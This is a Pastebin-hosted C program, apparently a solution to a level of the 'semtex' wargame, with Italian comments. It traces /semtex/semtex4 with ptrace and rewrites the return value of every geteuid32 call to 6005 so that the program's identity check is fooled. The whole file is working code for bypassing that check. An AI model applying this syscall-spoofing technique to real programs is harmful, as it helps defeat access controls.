Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. //ptrace.c
  2. //gcc -m32 ptrace.c -o ptracer
  3. #include <sys/ptrace.h>
  4. #include <sys/types.h>
  5. #include <sys/wait.h>
  6. #include <unistd.h>
  7. #include <string.h>
  8. #include <errno.h>
  9. #include <sys/user.h>
  10. #include <sys/syscall.h>
  11. #include <sys/reg.h>
  12.  
  13. #define PROG "/semtex/semtex4" //Qui definisco il programma
  14. #define EUID 6005 //Qui l'euid che voglio ottenere
  15.  
  16. int main() {
  17.     int status = 0; // Questo mi serve per il child
  18.     int syscall_n = 0; // questo per contare le syscall
  19.     int entering = 1; // mi serve sempre per il child
  20.     struct user_regs_struct regs; //registro dei child
  21.    
  22.     int pid = fork();//questo mi serve per avere un parent ed un child fork, così da avere il tracer
  23.    
  24.     if ( !pid ) {
  25.         //qui siamo nel child
  26.         ptrace( PTRACE_TRACEME, 0, 0, 0 );//il parent può fare trace su questo processo
  27.         execlp( PROG, PROG, 0 );//esegue il programma e ne fa il trace interrompendo il parent
  28.     }
  29.    
  30.     else {
  31.         //siamo nel parent
  32.         wait( &status );//aspetta l'evento, l'ignora e blocca il child
  33.        
  34.         while (1) {
  35.             ptrace( PTRACE_SYSCALL, pid, 0, 0 );//ptrace ogni chiamata e fai ripartire il child
  36.            
  37.             wait ( &status );//riblocco
  38.            
  39.             if ( WIFEXITED( status ) ) break;//se il programma termina, chiudo il ciclo
  40.            
  41.             ptrace( PTRACE_GETREGS, pid, 0, &regs );//leggo i registri
  42.            
  43.             syscall_n = regs.orig_eax;//il numero delle syscall
  44.            
  45.             if ( syscall_n == SYS_geteuid32 ) {
  46.                 //se la syscall è quella che voglio andare a modificare
  47.                 if ( entering ) {
  48.                     //se il child sta entrando qui
  49.                     entering = 0;
  50.                 }
  51.             else {
  52.                 //se invece sta uscendo
  53.                 ptrace( PTRACE_GETREGS, pid, 0, &regs );//leggo i registri
  54.                 regs.eax = EUID;//ci metto il valore voluto
  55.                 ptrace( PTRACE_SETREGS, pid, 0, &regs );//riscrivo i registri
  56.                 entering = 1;//la prossima volta starò entrando nella syscall             
  57.             }
  58.         }
  59.     }
  60. }
  61. return 0;  
  62. }